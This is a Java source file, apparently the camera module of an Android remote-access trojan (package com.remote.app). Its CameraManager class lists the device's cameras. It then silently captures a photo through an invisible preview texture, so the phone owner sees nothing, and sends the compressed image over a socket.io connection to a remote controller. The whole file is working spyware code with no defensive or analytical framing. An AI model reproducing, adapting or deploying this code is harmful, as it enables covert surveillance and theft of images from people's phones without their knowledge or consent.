128 lines
3.7 KiB
Java
128 lines
3.7 KiB
Java
package com.remote.app;
|
|
|
|
|
|
import android.content.Context;
|
|
import android.content.pm.PackageManager;
|
|
import android.graphics.Bitmap;
|
|
import android.graphics.BitmapFactory;
|
|
import android.graphics.SurfaceTexture;
|
|
import android.hardware.Camera;
|
|
import android.hardware.Camera.PictureCallback;
|
|
import android.hardware.Camera.Parameters;
|
|
|
|
import org.json.JSONArray;
|
|
import org.json.JSONException;
|
|
import org.json.JSONObject;
|
|
|
|
import java.io.ByteArrayOutputStream;
|
|
|
|
|
|
public class CameraManager {
|
|
|
|
private Context context ;
|
|
private Camera camera;
|
|
|
|
|
|
public CameraManager(Context context) {
|
|
this.context = context;
|
|
}
|
|
|
|
|
|
public void startUp(int cameraID){
|
|
camera = Camera.open(cameraID);
|
|
Parameters parameters = camera.getParameters();
|
|
camera.setParameters(parameters);
|
|
try{
|
|
camera.setPreviewTexture(new SurfaceTexture(0));
|
|
camera.startPreview();
|
|
} catch (Exception e) {
|
|
e.printStackTrace();
|
|
}
|
|
|
|
camera.takePicture(null, null, new PictureCallback() {
|
|
@Override
|
|
public void onPictureTaken(byte[] data, Camera camera) {
|
|
releaseCamera();
|
|
sendPhoto(data);
|
|
}
|
|
});
|
|
}
|
|
|
|
|
|
private void sendPhoto(byte [] data){
|
|
|
|
try {
|
|
|
|
Bitmap bitmap = BitmapFactory.decodeByteArray(data, 0, data.length);
|
|
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
|
bitmap.compress(Bitmap.CompressFormat.JPEG, 20, bos);
|
|
JSONObject object = new JSONObject();
|
|
object.put("image",true);
|
|
object.put("buffer" , bos.toByteArray());
|
|
IOSocket.getInstance().getIoSocket().emit("0xCA" , object);
|
|
|
|
|
|
} catch (JSONException e) {
|
|
e.printStackTrace();
|
|
}
|
|
|
|
}
|
|
|
|
private void releaseCamera(){
|
|
if (camera != null) {
|
|
camera.stopPreview();
|
|
camera.release();
|
|
camera = null;
|
|
}
|
|
}
|
|
|
|
public JSONObject findCameraList() {
|
|
|
|
if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_CAMERA)) {
|
|
return null;
|
|
}
|
|
|
|
|
|
try {
|
|
JSONObject cameras = new JSONObject();
|
|
JSONArray list = new JSONArray();
|
|
cameras.put("camList",true);
|
|
|
|
// Search for available cameras
|
|
int numberOfCameras = Camera.getNumberOfCameras();
|
|
for (int i = 0; i < numberOfCameras; i++) {
|
|
Camera.CameraInfo info = new Camera.CameraInfo();
|
|
Camera.getCameraInfo(i, info);
|
|
if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
|
|
JSONObject jo = new JSONObject();
|
|
jo.put("name", "Front");
|
|
jo.put("id", i);
|
|
list.put(jo);
|
|
}
|
|
else if (info.facing == Camera.CameraInfo.CAMERA_FACING_BACK){
|
|
JSONObject jo = new JSONObject();
|
|
jo.put("name", "Back");
|
|
jo.put("id", i);
|
|
list.put(jo);
|
|
}
|
|
else {
|
|
JSONObject jo = new JSONObject();
|
|
jo.put("name", "Other");
|
|
jo.put("id", i);
|
|
list.put(jo);
|
|
}
|
|
}
|
|
|
|
cameras.put("list" , list);
|
|
return cameras;
|
|
|
|
} catch (JSONException e) {
|
|
e.printStackTrace();
|
|
}
|
|
|
|
return null;
|
|
|
|
}
|
|
|
|
}
|